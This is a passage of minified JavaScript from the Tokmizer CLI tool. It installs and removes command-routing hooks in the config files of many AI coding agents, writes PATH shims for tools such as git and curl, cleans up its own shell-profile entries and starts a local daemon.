RegExp(String.raw`^\s*(\[\[?\s*${hm}(?:\s*\.\s*${hm})*\s*\]\]?)\s*(?:#.*)?$`);fE=/^\[\s*plugins\s*\.\s*(?:"tokmizer@([^"]+)"|'tokmizer@([^']+)')\s*\]$/,Em=/^(\s*(?:plugins\s*\.\s*)?(["'])tokmizer@([^"']+)\2\s*=\s*\{)([^}]*)(\}.*)$/;pE=/^\[\[\s*hooks\s*\.\s*(["']?)([A-Za-z]+)\1\s*\]\]$/,km=/^\[\[\s*hooks\s*\.\s*(["']?)([A-Za-z]+)\1\s*\.\s*(["']?)hooks\3\s*\]\]$/,gE=/^\s*command\s*=\s*(.+)$/,hE=/\bcommand\s*=\s*("(?:\\.|[^"\\])*"|'[^']*')/g});var Im={};he(Im,{codexDoctorFix:()=>EE,codexDoctorLines:()=>xE,codexHookCommand:()=>SE,codexHookInstalled:()=>wl,codexHooksFile:()=>Le,ensureCodexHook:()=>$m,removeCodexHook:()=>Cm,setupCodexHook:()=>Om});import{existsSync as bE,readFileSync as wE}from"node:fs";import{join as Js}from"node:path";import _E from"node:os";function Le(){return Js(process.env.CODEX_HOME||Js(_E.homedir(),".codex"),"hooks.json")}function yl(e){return e!=null&&typeof e=="object"&&Fe(e.command,Am)}function kl(e){return(Array.isArray(e.hooks)?e.hooks:[]).find(yl)}function bl(){try{return(oe(wE(Le(),"utf8")).hooks?.PreToolUse??[]).some(t=>kl(t)!=null)}catch{return!1}}function wl(){return bl()||Qn()}async function $m(e){let t=Le(),n=await se(t);if(!n)return"error";let r=n.hooks&&typeof n.hooks=="object"?n.hooks:{},o=Array.isArray(r.PreToolUse)?r.PreToolUse:[],s="added",i=o.map(kl).find(a=>a!=null);if(i){let a=qn(o,yl,i,!0);if(i.command===e&&i.timeout===10&&!a)return"present";i.command=e,i.timeout=10,s="updated"}else o.push({matcher:"Bash",hooks:[{type:"command",command:e,timeout:10}]});return r.PreToolUse=o,n.hooks=r,await ie(t,n)?s:"error"}function SE(e,t){return It(Am,e,t)}async function Cm(){let e=Le();if(!bE(e))return"absent";let t=await se(e);if(!t)return"error";let n=Array.isArray(t.hooks?.PreToolUse)?t.hooks.PreToolUse:[];if(!n.some(o=>kl(o)!=null))return"absent";let r=n.map(o=>({...o,hooks:(o.hooks??[]).filter(s=>!yl(s))})).filter(o=>o.hooks.length>0);return t.hooks.PreToolUse=r,r.length||delete t.hooks.PreToolUse,await ie(e,t)?"removed":"error"}async function Om(e){let t=await Us();return Qn()?{hook:await Cm()==="error"?"error":"plugin",repair:t}:{hook:await $m(e),repair:t}}function xE(){let e=gl(ho(process.cwd(),!0));return Qn()&&bl()&&e.push(`Codex: the Tokmizer plugin and ${Le()} both run the Tokmizer hook \u2014 run: tkr doctor --fix`),e}async function EE(e){let t=ho(process.cwd(),!0),n=Qn()&&bl();if(!t.length&&!n)return[];let r=new Set(zs().flatMap(l=>[Js(l,"hooks.json"),Js(l,"config.toml")])),o=await Us(t.filter(l=>r.has(l.file))),{hook:s,repair:i}=await Om(e),a=[...o.lines,...i.lines];return s==="error"?a.push(`Could not update ${Le()}; run tkr setup-codex again.`):s==="plugin"?a.push(n?`Removed the extra Tokmizer hook from ${Le()}: the Tokmizer Codex plugin already runs it.`:"The Tokmizer Codex plugin runs the Codex hook."):a.push(`${s==="present"?"The Codex hook is set":"Added the Codex hook"} in ${Le()}.`),(i.changed||o.changed||s==="added"||s==="updated")&&a.push("In Codex, run /hooks once, approve the Tokmizer hook, then restart Codex."),a}var Am,Gs=y(()=>{"use strict";kt();me();hl();Am="tkr-codex-hook"});import{existsSync as KH,readFileSync as vE}from"node:fs";import{join as TE}from"node:path";import RE from"node:os";function yo(){return TE(RE.homedir(),".cursor","hooks.json")}function $E(e){return F(e)&&Fe(e.command,AE)}function CE(e){let t=F(e.hooks)?e.hooks:{},n=Array.isArray(t[Pm])?t[Pm]:[];return{hooks:t,entries:n}}function Zs(){try{let e=oe(vE(yo(),"utf8"));return CE(e).entries.some($E)}catch{return!1}}var AE,Pm,Ks=y(()=>{"use strict";kt();me();AE="tkr-cursor-hook",Pm="preToolUse"});import{existsSync as ej,readFileSync as OE}from"node:fs";import{join as IE}from"node:path";import PE from"node:os";function ko(){return IE(process.env.GEMINI_CLI_HOME||PE.homedir(),".gemini","settings.json")}function ME(e){return F(e)&&Fe(e.command,NE)}function DE(e){return(Array.isArray(e.hooks)?e.hooks:[]).find(ME)}function FE(e){let t=F(e.hooks)?e.hooks:{},n=Array.isArray(t[Nm])?t[Nm]:[];return{hooks:t,groups:n}}function Mm(){try{let e=oe(OE(ko(),"utf8"));return FE(e).groups.some(t=>DE(t)!=null)}catch{return!1}}var NE,Nm,Ws=y(()=>{"use strict";kt();me();NE="tkr-gemini-hook",Nm="BeforeTool"});import{existsSync as LE,readFileSync as HE}from"node:fs";function Vs(e,t){return F(e)&&Fe(e.command,t)}function Dm(e){return e.path??(e.nested?["hooks"]:[])}function Fm(e,t){let n=e;for(let r of Dm(t))F(n[r])||(n[r]={}),n=n[r];return n}function Lm(e,t){let n=e;for(let o of Dm(t))n=F(n)?n[o]:void 0;if(!F(n))return[];let r=n[t.event];return Array.isArray(r)?r:[]}function jE(e){return F(e)&&Array.isArray(e.hooks)?e.hooks:[]}function Hm(e,t){return(t.matcher===void 0?e:e.flatMap(jE)).filter(r=>Vs(r,t.mark))}function jm(e,t){return Hm(Lm(e,t),t).length>0}function bo(e,t){try{let n=oe(HE(e,"utf8"));return F(n)&&jm(n,t)}catch{return!1}}function BE(e,t,n){let r=Fm(e,t),o=Array.isArray(r[t.event])?r[t.event]:[];r[t.event]=o;let s=Hm(o,t)[0],i=t.entry(n);if(s){let a=qn(o,c=>Vs(c,t.mark),s,t.matcher!==void 0),l=Object.entries(i).filter(([c,u])=>JSON.stringify(s[c])!==JSON.stringify(u));if(!l.length&&!a)return"present";for(let[c,u]of l)s[c]=u;return"updated"}return o.push(t.matcher===void 0?i:{matcher:t.matcher,hooks:[i]}),"added"}function zE(e,t){if(!jm(e,t))return!1;let n=Fm(e,t),r=Lm(e,t),o=t.matcher===void 0?r.filter(s=>!Vs(s,t.mark)):r.map(s=>F(s)&&Array.isArray(s.hooks)?{...s,hooks:s.hooks.filter(i=>!Vs(i,t.mark))}:s).filter(s=>!F(s)||!Array.isArray(s.hooks)||s.hooks.length>0);return o.length?n[t.event]=o:delete n[t.event],!0}async function wo(e,t,n){let r=await se(e);if(!r||t.prepare&&!t.prepare(r))return"error";let o=BE(r,t,n);return o==="present"||await ie(e,r)?o:"error"}async function mn(e,t){if(!LE(e))return"absent";let n=await se(e);return n?zE(n,t)?await ie(e,n)?"removed":"error":"absent":"error"}var _l=y(()=>{"use strict";kt();me()});import{existsSync as xl,readFileSync as UE}from"node:fs";import{join as pe}from"node:path";import JE from"node:os";function ot(){return JE.homedir()}function tr(e){return e.version===void 0&&(e.version=1),e.version===1}function GE(e,t,n){return Promise.all(e.map(r=>wo(r,t,n))).then(r=>r.includes("error")?"error":r.includes("updated")?"updated":r.includes("added")?"added":"present")}function ZE(e,t){return Promise.all(e.map(n=>mn(n,t))).then(n=>n.includes("error")?"error":n.includes("removed")?"removed":"absent")}function pn(e,t){return{...e,installed:()=>e.files().some(n=>bo(n,t)),ensure:n=>GE(e.files(),t,n),remove:()=>ZE(e.files(),t)}}function vl(){return pe(process.env.COPILOT_HOME||pe(ot(),".copilot"),"hooks","tokmizer.json")}function Tl(){let e=[pe(ot(),".trae","hooks.json")];return xl(pe(ot(),".trae-cn"))&&e.push(pe(ot(),".trae-cn","hooks.json")),e}function Rl(){return pe(process.env.QWEN_HOME||pe(ot(),".qwen"),"settings.json")}function YE(){return pe(process.env.XDG_CONFIG_HOME||pe(ot(),".config"),"crush","crush.json")}function QE(){return pe(ot(),".junie","config.json")}function Al(e){return e.hooks===void 0&&(e.hooks={}),F(e.hooks)?(e.hooks.enabled===void 0&&(e.hooks.enabled=!0),e.hooks.events===void 0||F(e.hooks.events)):!1}function $l(){return pe(ot(),".zcode","cli","config.json")}function nv(){return pe(ot(),".grok","hooks","tokmizer.json")}function Sl(){return pe(ot(),".factory")}function er(){return[{file:pe(Sl(),"hooks.json"),spec:El},{file:pe(Sl(),"hooks","hooks.json"),spec:El},{file:pe(Sl(),"settings.json"),spec:ov}]}function Bm(e){try{let t=JSON.parse(UE(e,"utf8"));return F(t)?t:null}catch{return null}}function zm(e,t){let n=t?e?.hooks:e;return F(n)&&Array.isArray(n.PreToolUse)&&n.PreToolUse.length>0}function qs(){let[e,t,n]=er(),r=xl(e.file)?e:xl(t.file)?t:null;return r&&zm(Bm(r.file),!1)?r:zm(Bm(n.file),!0)?n:r??e}var KE,WE,VE,qE,XE,ev,tv,rv,El,ov,sv,nr,Ys=y(()=>{"use strict";me();_l();KE={mark:"tkr-copilot-hook",event:"PreToolUse",nested:!0,entry:e=>({type:"command",command:e,bash:e,powershell:e,timeout:10,timeoutSec:10}),prepare:tr};WE={mark:"tkr-trae-hook",event:"PreToolUse",nested:!0,matcher:"RunCommand",entry:e=>({type:"command",command:e,timeout:30}),prepare:tr};VE={mark:"tkr-qwen-hook",event:"PreToolUse",nested:!0,matcher:"run_shell_command",entry:e=>({name:"tokmizer",type:"command",command:e,timeout:10})};qE={mark:"tkr-crush-hook",event:"PreToolUse",nested:!0,entry:e=>({name:"tokmizer",matcher:"^bash$",command:e,timeout:10})};XE={mark:"tkr-junie-hook",event:"PreToolUse",nested:!0,matcher:"^Bash$",entry:e=>({type:"command",command:e,timeout:10})};ev={mark:"tkr-zcode-hook",event:"PreToolUse",nested:!0,path:["hooks","events"],matcher:"Bash",entry:e=>({type:"command",command:e,timeoutMs:1e4}),prepare:Al};tv={mark:"tkr-grok-hook",event:"PreToolUse",nested:!0,matcher:"Bash",entry:e=>({type:"command",command:e,timeout:10})};rv="tkr-droid-hook",El={mark:rv,event:"PreToolUse",nested:!1,matcher:"Execute",entry:e=>({type:"command",command:e,timeout:10})},ov={...El,nested:!0};sv={id:"droid",label:"Factory Droid",setup:"tkr setup-droid",bin:"tkr-droid-hook",restart:"Restart Droid, then check it with /hooks.",files:()=>[qs().file],installed:()=>er().some(e=>bo(e.file,e.spec)),ensure:async e=>{let t=qs(),n=await wo(t.file,t.spec,e);return n==="error"||await Promise.all(er().filter(r=>r.file!==t.file).map(r=>mn(r.file,r.spec))),n},remove:async()=>{let e=await Promise.all(er().map(t=>mn(t.file,t.spec)));return e.includes("error")?"error":e.includes("removed")?"removed":"absent"}},nr=[pn({id:"copilot",label:"GitHub Copilot",setup:"tkr setup-copilot",bin:"tkr-copilot-hook",restart:"Restart VS Code or Copilot CLI so they load the new hook.",files:()=>[vl()]},KE),sv,pn({id:"trae",label:"Trae",setup:"tkr setup-trae",bin:"tkr-trae-hook",restart:"Restart Trae so it loads the new hook.",files:Tl},WE),pn({id:"qwen-code",label:"Qwen Code",setup:"tkr setup-qwen",bin:"tkr-qwen-hook",restart:"Restart Qwen Code, then check it with /hooks.",files:()=>[Rl()]},VE),pn({id:"crush",label:"Crush",setup:"tkr setup-crush",bin:"tkr-crush-hook",restart:"Restart Crush so it loads the new hook.",files:()=>[YE()]},qE),pn({id:"junie",label:"Junie CLI",setup:"tkr setup-junie",bin:"tkr-junie-hook",restart:"Restart Junie CLI so it loads the new hook.",files:()=>[QE()]},XE),pn({id:"zcode",label:"ZCode",setup:"tkr setup-zcode",bin:"tkr-zcode-hook",restart:"Restart ZCode so it loads the new hook.",files:()=>[$l()]},ev),pn({id:"grok",label:"Grok Build",setup:"tkr setup-grok",bin:"tkr-grok-hook",restart:"Restart Grok Build (1.0.4 or newer) so it loads the new hook.",files:()=>[nv()]},tv)]});import{existsSync as yj,accessSync as kj,constants as bj,readFileSync as iv}from"node:fs";function lv(e){return e.includes(av)}function Um(e){try{return lv(iv(e,"utf8"))}catch{return!1}}var av,Jm=y(()=>{"use strict";me();nt();Vn();U();av='"rewrite", "--host"'});import{readFile as Zm,mkdir as cv}from"node:fs/promises";import{existsSync as Ol,readFileSync as Km}from"node:fs";import{dirname as uv,join as Cl}from"node:path";import Wm from"node:os";function So(){return Cl(process.env.VIBE_HOME||Cl(Wm.homedir(),".vibe"),"hooks.toml")}function Gm(e){return JSON.stringify(e)}function fv(e){return["[[hooks]]",`name = ${Gm(Vm)}`,'type = "pre_tool"','match = "bash"',`command = ${Gm(e)}`,"timeout = 10.0","strict = false",'description = "Route shell commands through tokmizer."',""].join(`
52
+ `)}function Il(e){let t=[],n=[];for(let r of e.split(/(?<=\n)/))/^\s*\[\[?\s*[A-Za-z0-9_"'-]/.test(r)&&n.length&&(t.push(n.join("")),n=[]),n.push(r);return n.length&&t.push(n.join("")),t}function Xs(e){return/^\s*\[\[hooks\]\]/.test(e)&&new RegExp(`^\\s*name\\s*=\\s*"${Vm}"\\s*$`,"m").test(e)}function qm(e){if(!Xs(e))return e;let t=e.split(/(?<=\n)/),n=1;for(;n<t.length&&!/^\s*(?:#.*)?\r?\n?$/.test(t[n]);)n++;for(;n<t.length&&/^\s*\r?\n?$/.test(t[n]);)n++;return t.slice(n).join("")}async function Ym(e,t){try{await cv(uv(e),{recursive:!0})}catch{return!1}return yt(e,t)}function Xm(){try{return Il(Km(So(),"utf8")).some(Xs)}catch{return!1}}async function Qm(e){let t=So(),n="";try{Ol(t)&&(n=await Zm(t,"utf8"))}catch{return"error"}let r=fv(e),o=Il(n),s=o.filter(Xs);if(s.length===1&&s[0].trimEnd()===r.trimEnd())return"present";let i=o.map(qm).join("").trimEnd(),a=i?`${i}
36
53
 
37
- ${r}`:r;return await Pp(t,a)?s.length?"updated":"added":"error"}async function Mp(){let e=ko();if(!bl(e))return"absent";let t;try{t=await Ap(e,"utf8")}catch{return"error"}let n=wl(t);if(!n.some(yo))return"absent";let r=n.filter(s=>!yo(s)).join("").trimEnd(),o=r?`${r}
38
- `:"";return await Pp(e,o)?"removed":"error"}function kt(){return kl(Cp.homedir(),".gemini","config","hooks.json")}function Rv(e){return{enabled:!0,PreToolUse:[{matcher:"run_command",hooks:[{type:"command",command:e,timeout:10}]}]}}function Dp(){try{let e=re($p(kt(),"utf8"));return L(e)&&L(e[ho])}catch{return!1}}async function Fp(e){let t=kt(),n=await oe(t);if(!n)return"error";let r=Rv(e),o=n[ho];return o!==void 0&&JSON.stringify(o)===JSON.stringify(r)?"present":(n[ho]=r,await se(t,n)?o===void 0?"added":"updated":"error")}async function Lp(){let e=kt();if(!bl(e))return"absent";let t=await oe(e);return t?ho in t?(delete t[ho],await se(e,t)?"removed":"error"):"absent":"error"}var Op,ho,_l=y(()=>{"use strict";yt();de();Wn();Op="tokmizer-rewrite",ho="tokmizer-rewrite"});import{dirname as Av,join as He}from"node:path";import $v from"node:os";function xl(e){return wo.find(t=>t.host===e)}function Hp(e){return e.kind==="hook"?e.file():Av(e.files()[0].target)}function _o(e){return e.kind==="hook"?e.installed():Ep(e.files()[0].target)}var bo,Sl,wo,Ws=y(()=>{"use strict";de();Tp();_l();bo=()=>$v.homedir(),Sl=()=>process.env.XDG_CONFIG_HOME||He(bo(),".config"),wo=[{host:"opencode",label:"OpenCode",command:"setup-opencode",kind:"shim",files:()=>[{template:"opencode.js",target:He(Sl(),"opencode","plugins","tokmizer.js")}],next:"Restart OpenCode so it loads the plugin."},{host:"kilo",label:"Kilo Code",command:"setup-kilo",kind:"shim",files:()=>[{template:"kilo.js",target:He(Sl(),"kilo","plugin","tokmizer.js")}],next:"Restart Kilo Code (CLI or VS Code extension) so it loads the plugin."},{host:"amp",label:"Amp",command:"setup-amp",kind:"shim",files:()=>[{template:"amp.js",target:He(Sl(),"amp","plugins","tokmizer.js")}],next:"Reload plugins in Amp (or restart it), then check it with: amp plugins list"},{host:"vibe",label:"Mistral Vibe",command:"setup-vibe",kind:"hook",file:ko,installed:Ip,ensure:Np,remove:Mp,next:"Restart Vibe so it reads hooks.toml."},{host:"antigravity",label:"Antigravity",command:"setup-antigravity",kind:"hook",file:kt,installed:Dp,ensure:Fp,remove:Lp,next:"Restart Antigravity, then check it with /hooks."},{host:"openclaw",label:"OpenClaw",command:"setup-openclaw",kind:"shim",files:()=>{let e=He(bo(),".openclaw","extensions","tokmizer");return["index.js","openclaw.plugin.json","package.json"].map(t=>({template:`openclaw/${t}`,target:He(e,t)}))},next:"Run: openclaw plugins enable tokmizer && openclaw gateway restart"},{host:"pi",label:"Pi",command:"setup-pi",kind:"shim",files:()=>[{template:"pi.js",target:He(process.env.PI_CODING_AGENT_DIR||He(bo(),".pi","agent"),"extensions","tokmizer.js")}],next:"Restart Pi (or run /reload) so it loads the extension."},{host:"omp",label:"Oh My Pi",command:"setup-omp",kind:"shim",files:()=>[{template:"omp.js",target:He(bo(),".omp","agent","extensions","tokmizer.js")}],next:"Restart omp so it loads the extension."},{host:"hermes",label:"Hermes",command:"setup-hermes",kind:"shim",files:()=>{let e=He(process.env.HERMES_HOME||He(bo(),".hermes"),"plugins","tokmizer");return["__init__.py","plugin.yaml"].map(t=>({template:`hermes/${t}`,target:He(e,t)}))},next:"Run: hermes plugins enable tokmizer, then restart Hermes (needs Hermes v2026.8.16 or newer)."}]});function Tl(e){return vl.filter(t=>zp.has(t.host)===e).flatMap(t=>t.vars)}function Bp(e){return zp.has(e)||(Dv[e]?.installed()??!1)}function Vs(e){return null}function qs(e=process.env){let t=process.platform,n=t==="darwin"||t==="linux"||t==="win32"?t:"other",r=process.arch,o=e.TOKMIZER_HOST;if(o&&El.includes(o)){let s=o;return{host:s,source:"env",os:n,arch:r,shimRecommended:!Bp(s)}}for(let s of vl)if(s.vars.some(i=>e[i]))return{host:s.host,source:"env",os:n,arch:r,shimRecommended:!Bp(s.host)};return{host:"shell",source:"fallback",os:n,arch:r,shimRecommended:!0}}var vl,El,zp,Dv,So=y(()=>{"use strict";Us();Js();Ws();Ks();vl=[{host:"claude-code",vars:["CLAUDECODE","CLAUDE_CODE_ENTRYPOINT","CLAUDE_CODE","CLAUDE_CODE_VERSION","ANTHROPIC_CLAUDE_CODE"]},{host:"codex",vars:["CODEX_VERSION","CODEX_CLI","OPENAI_CODEX","CODEX_THREAD_ID","CODEX_SESSION_ID"]},{host:"cursor",vars:["CURSOR_AGENT","CURSOR_VERSION","CURSOR_TRACE_ID"]},{host:"cline",vars:["CLINE_VERSION","CLINE_API_KEY"]},{host:"aider",vars:["AIDER_VERSION","AIDER_MODEL"]},{host:"qwen-code",vars:["QWEN_CODE"]},{host:"gemini-cli",vars:["GEMINI_CLI","GEMINI_CLI_VERSION","GEMINI_API_KEY"]},{host:"windsurf",vars:["WINDSURF_VERSION","WINDSURF_USER"]},{host:"copilot",vars:["GITHUB_COPILOT_VERSION","COPILOT_INTEGRATION_ID"]},{host:"opencode",vars:[]},{host:"amp",vars:[]},{host:"vibe",vars:[]},{host:"antigravity",vars:[]},{host:"openclaw",vars:[]},{host:"pi",vars:[]},{host:"omp",vars:[]},{host:"hermes",vars:[]},{host:"crush",vars:["CRUSH"]},{host:"droid",vars:[]},{host:"trae",vars:[]},{host:"junie",vars:[]},{host:"zcode",vars:[]},{host:"grok",vars:[]},{host:"kilo",vars:[]}],El=[...vl.map(e=>e.host),"shell"],zp=new Set(["claude-code","codex"]),Dv={cursor:{installed:zs,setup:"tkr setup-cursor"},"gemini-cli":{installed:yp,setup:"tkr setup-gemini"},...Object.fromEntries(wo.map(e=>[e.host,{installed:()=>_o(e),setup:`tkr ${e.command}`}])),...Object.fromEntries(tr.map(e=>[e.id,{installed:e.installed,setup:e.setup}]))}});import{mkdir as Rl,writeFile as Zp,readFile as Ys,unlink as Kp,chmod as Wp,rename as Fv,copyFile as Vp,stat as Lv,readdir as Hv,rm as jv}from"node:fs/promises";import{existsSync as $l,realpathSync as qp}from"node:fs";import{basename as Bv,delimiter as Up,join as be,dirname as Yp}from"node:path";import{fileURLToPath as zv}from"node:url";import nr from"node:os";function Jp(e){try{return qp(e)}catch{return e}}function Xp(){let e=Oe(),t={...process.env},n=process.platform==="win32"?"Path":"PATH",r=t[n]??t.PATH??"",o=Jp(e),s=r.split(Up).filter(i=>i&&i!==e&&Jp(i)!==o);return t[n]=s.join(Up),n==="Path"&&(t.PATH=t[n]),t}function Qp(){try{let e=nr.platform()==="win32";return $l(be(Oe(),e?"git.cmd":"git"))}catch{return!1}}function Gp(e){return`"${e.map(t=>`\${${t}:-}`).join("")}"`}function tm(e){let t=e.match(/^#!\/bin\/sh\n_tk_f=(\d+)\n/);return t!==null&&Number(t[1])>=em&&e.includes(`exec /bin/sh ${Y(Gn())} "$_tk_c" "$@"`)}function Jv(e){return["#!/bin/sh",`_tk_f=${em}`,`_tk_c=${Y(e)}`,`if [ -z ${Gp(Tl(!0))} ] && { [ -n ${Gp(["TOKMIZER_HOST",...Tl(!1)])} ] || [ -t 1 ]; } && [ -f ${Y(Gn())} ] && ! ${eo()}; then`,` exec /bin/sh ${Y(Gn())} "$_tk_c" "$@"`,"fi",...Ps(""),""].join(`
39
- `)}function Gv(e){let t=fe()?mt(e):null,n=t?cn():e;return{check:n,run:t?[`"${n}"`,...t].join(" "):`node "${n}"`}}function Zv(e,t){let n=Gv(e),r=Oe();return["@echo off",`if exist "${Ct()}" goto tkpass`,`if not exist "${n.check}" goto tkmissing`,`${n.run} --as "${t}" %*`,"exit /b %errorlevel%",":tkmissing",`echo ${Os.replace(/`/g,"")} 1>&2`,":tkpass",`set "PATH=%PATH:${r}\\;=%"`,`set "PATH=%PATH:${r};=%"`,`set "PATH=%PATH:;${r}=%"`,"for %%E in (.exe .cmd .bat .com) do for %%I in ("+t+'%%E) do if not "%%~$PATH:I"=="" if /i not "%%~dp$PATH:I"=="%~dp0" (',' "%%~$PATH:I" %*'," exit /b",")",`echo ${t}: command not found 1>&2`,"exit /b 9009",""].join(`\r
40
- `)}function Kv(e){return be(Oe(),nr.platform()==="win32"?`${e}.cmd`:e)}function Wv(e,t){return nr.platform()==="win32"?Zv(e,t):Jv(t)}async function nm(e,t,n){let r=`${e}.${process.pid}.tmp`;try{return await Zp(r,t,{mode:n}),await Wp(r,n),await Fv(r,e),!0}catch{try{await Kp(r)}catch{}return!1}}function rm(){return new Date().toISOString().replace(/[-:]/g,"").replace(/\..*$/,"").replace("T","-")}async function Vv(e,t,n){try{let r=(await Hv(e)).filter(o=>o.startsWith(t)).sort().slice(0,-n);for(let o of r)await jv(be(e,o),{recursive:!0,force:!0})}catch{}}async function om(e,t={}){let n=Oe();if(!$l(n))return{stale:0,rewritten:0};let r=0,o=0,s=null;for(let i of Uv){let a=Kv(i),l=Wv(e,i),c;try{c=await Ys(a,"utf8")}catch{continue}if(!(c===l||nr.platform()!=="win32"&&tm(c))&&(r+=1,!t.dryRun)){try{s||(s=be(b(),"backup",`shims-${rm()}`),await Rl(s,{recursive:!0,mode:448})),await Vp(a,be(s,i))}catch{}await nm(a,l,493)&&(o+=1)}}return s&&await Vv(Yp(s),"shims-",3),{stale:r,rewritten:o}}function Yv(e){return`'${e.replace(/\\/g,"\\\\").replace(/'/g,"\\'")}'`}function Xv(){let e=Oe();return[`export PATH=${Y(e)}:"$PATH"`,`export PATH="${e}:$PATH"`,`set -gx PATH ${Yv(e)} $PATH`,`$env:Path = '${e.replace(/'/g,"''")};' + $env:Path`,`$env:Path = "${e};" + $env:Path`]}function Qv(){return be(b(),"global-path")}function eE(){return $l(Qv())}function Al(){return be(b(),"backup","global-path.json")}function sm(e){let t=Xv(),n=e.split(`
41
- `),r=[],o=0;for(let s=0;s<n.length;s+=1){let i=n[s].replace(/\r$/,""),a=n[s+1]?.replace(/\r$/,"");if(i===qv&&a!==void 0&&t.includes(a)){r.length&&r[r.length-1].replace(/\r$/,"")===""&&r.pop(),o+=1,s+=1;continue}r.push(n[s])}return{content:o?r.join(`
42
- `):e,removed:o}}function im(){let e=nr.homedir(),t=[".zshrc",".zprofile",".bashrc",".bash_profile",".bash_login",".profile",be(".config","fish","config.fish")].map(n=>be(e,n));return nr.platform()!=="win32"?t:[...t,be(e,"Documents","PowerShell","profile.ps1"),be(e,"Documents","WindowsPowerShell","profile.ps1"),be(e,"OneDrive","Documents","PowerShell","profile.ps1"),be(e,"OneDrive","Documents","WindowsPowerShell","profile.ps1")]}async function am(){let e=0;for(let t of im())try{e+=sm(await Ys(t,"utf8")).removed}catch{}return e}async function tE(){try{let e=JSON.parse(await Ys(Al(),"utf8"));return Array.isArray(e)?e.filter(t=>t!=null&&typeof t=="object"&&typeof t.file=="string"):[]}catch{return[]}}async function lm(e={}){if(!e.force&&eE())return[];let t=[],n=await tE();for(let r of im()){let o,s;try{o=qp(r),s=await Ys(o,"utf8")}catch{continue}let i=sm(s);if(!i.removed)continue;let a=be(b(),"backup","rc"),l=be(a,`${Bv(r)}-${rm()}`);try{let c=await Lv(o);if(typeof process.getuid=="function"&&c.uid!==process.getuid())continue;if(await Rl(a,{recursive:!0,mode:448}),await Vp(o,l),await Wp(l,384),!await nm(o,i.content,c.mode&511)){await Kp(l).catch(()=>{});continue}}catch{continue}t.push(r),n.push({file:r,backup:l,fish:r.endsWith("config.fish"),at:new Date().toISOString()})}if(t.length)try{await Rl(Yp(Al()),{recursive:!0,mode:448}),await Zp(Al(),`${JSON.stringify(n,null,2)}
43
- `,{mode:384})}catch{}return t}function cm(){return process.env.TOKMIZER_SHIM_JS?process.env.TOKMIZER_SHIM_JS:zv(new URL("../bin/tkr-shim.js",import.meta.url))}var Uv,em,qv,Xs=y(()=>{"use strict";Qr();tt();z();So();Ee();so();Ee();Uv=["git","npm","yarn","pnpm","docker","kubectl","terraform","tofu","cargo","go","mvn","gradle","rg","grep","find","ls","cat","tail","head","ps","lsof","ssh","scp","rsync","curl","wget","jq","yq","make"];em=1;qv="# tokmizer-shim PATH (managed by tokmizer)"});var Rm={};ge(Rm,{connectDaemon:()=>ei,shutdownDaemon:()=>Tm});import{createConnection as sE}from"node:net";import{spawn as iE}from"node:child_process";import{existsSync as vm,openSync as Ol,closeSync as Sm,unlinkSync as Il,writeFileSync as Nl,mkdirSync as Ml,readFileSync as aE,appendFileSync as lE,rmSync as cE,statSync as uE}from"node:fs";import{dirname as fE,join as Dl}from"node:path";import{fileURLToPath as dE}from"node:url";function Fl(){return Dl(b(),"daemon.spawn.fail")}function Ll(){return Dl(b(),"daemon.log")}function hE(){try{let e=Number(aE(Fl(),"utf8"));return Number.isFinite(e)&&Date.now()-e<mE}catch{return!1}}function yE(e){try{Ml(b(),{recursive:!0});let t=Ll();try{uE(t).size>gE&&Il(t)}catch{}lE(t,`${new Date().toISOString()} ${e}
44
- `)}catch{}}function kE(e){try{Ml(b(),{recursive:!0}),Nl(Fl(),String(Date.now()))}catch{}yE(`spawn failed: ${e.message}`)}function bE(){try{cE(Fl(),{force:!0})}catch{}}async function Qs(e,t){return new Promise((n,r)=>{let o=sE(e),s=a=>{if(o.removeAllListeners("connect"),o.removeAllListeners("error"),clearTimeout(i),a){try{o.destroy()}catch{}r(a)}else n(o)},i=setTimeout(()=>s(new Error("connect timeout")),t);o.once("connect",()=>s(null)),o.once("error",a=>s(a))})}function wE(){return process.env.TOKMIZER_DAEMON_BIN?process.env.TOKMIZER_DAEMON_BIN:dE(new URL("../bin/tkr-daemon.js",import.meta.url))}async function Pl(e,t=3e3){let n=Math.ceil(t/75),r=process.platform==="win32";for(let o=0;o<n;o++){if(r)try{return(await Qs(e,75)).destroy(),!0}catch{}else if(vm(e))return!0;await new Promise(s=>setTimeout(s,75))}return!1}async function _E(e){let t=wE();if(!fe()&&!vm(t))throw new Error(`tkr-daemon binary not found at ${t}`);let{path:n}=ct(),r=process.platform==="win32"?b():fE(n);try{Ml(r,{recursive:!0})}catch{}let o=Dl(r,"daemon.spawn.lock"),s=null;try{s=Ol(o,"wx"),Nl(s,String(process.pid))}catch(i){if(i.code==="EEXIST"){if(await Pl(n,5e3))return;try{Il(o)}catch{}try{s=Ol(o,"wx"),Nl(s,String(process.pid))}catch(l){if(l.code==="EEXIST"){await Pl(n,5e3);return}throw l}}else throw i}try{let i=null;try{i=Ol(Ll(),"a")}catch{}let[a,...l]=ln(t);if(iE(a,l,{detached:!0,stdio:["ignore","ignore",i??"ignore"],env:{...process.env,TOKMIZER_DAEMON_INSTALL_ID:e}}).unref(),i!==null)try{Sm(i)}catch{}if(!await Pl(n,3e3))throw new Error("tkr-daemon failed to bind socket within 3s")}finally{if(s!==null){try{Sm(s)}catch{}try{Il(o)}catch{}}}}async function Tm(e={}){let{path:t}=e.socketPath?{path:e.socketPath}:ct(),n=await ys();try{let r=await Qs(t,Em);r.write(Rt({id:Hr(),op:"shutdown",installId:n})),await new Promise(o=>setTimeout(o,150));try{r.destroy()}catch{}return!0}catch{return!1}}async function SE(e,t){let n=Date.now()+t;for(;Date.now()<n;){try{(await Qs(e,250)).destroy()}catch{return!0}await new Promise(r=>setTimeout(r,100))}return!1}async function ei(e={}){let{path:t}=e.socketPath?{path:e.socketPath}:ct(),n=await ys(),r=null,o=0,s=!1;for(;o<=xm;)try{r=await Qs(t,Em),bE();break}catch{if(o+=1,o>xm)throw new Error(`tkr-daemon unreachable at ${t}`);if(hE())throw new Error(`tkr-daemon spawn on cooldown (see ${Ll()})`);await Ur();try{await _E(n),s=!0}catch(u){throw kE(u),u}}if(!r)throw new Error("tkr-daemon: socket setup failed");let i=new Map,a="";r.setEncoding("utf8"),r.on("data",u=>{a+=u;let f=-1;for(let p=0;p<a.length;p++)a[p]===$n&&(f=p);if(f<0)return;let d=[];for(let p of is(a.slice(0,f+1)))d.push(p);a=a.slice(f+1);for(let p of d)if(p)try{let g=JSON.parse(p),h=i.get(g.id);if(!h)continue;clearTimeout(h.timer),i.delete(g.id),h.resolve(g)}catch{}}),r.on("close",()=>{for(let u of 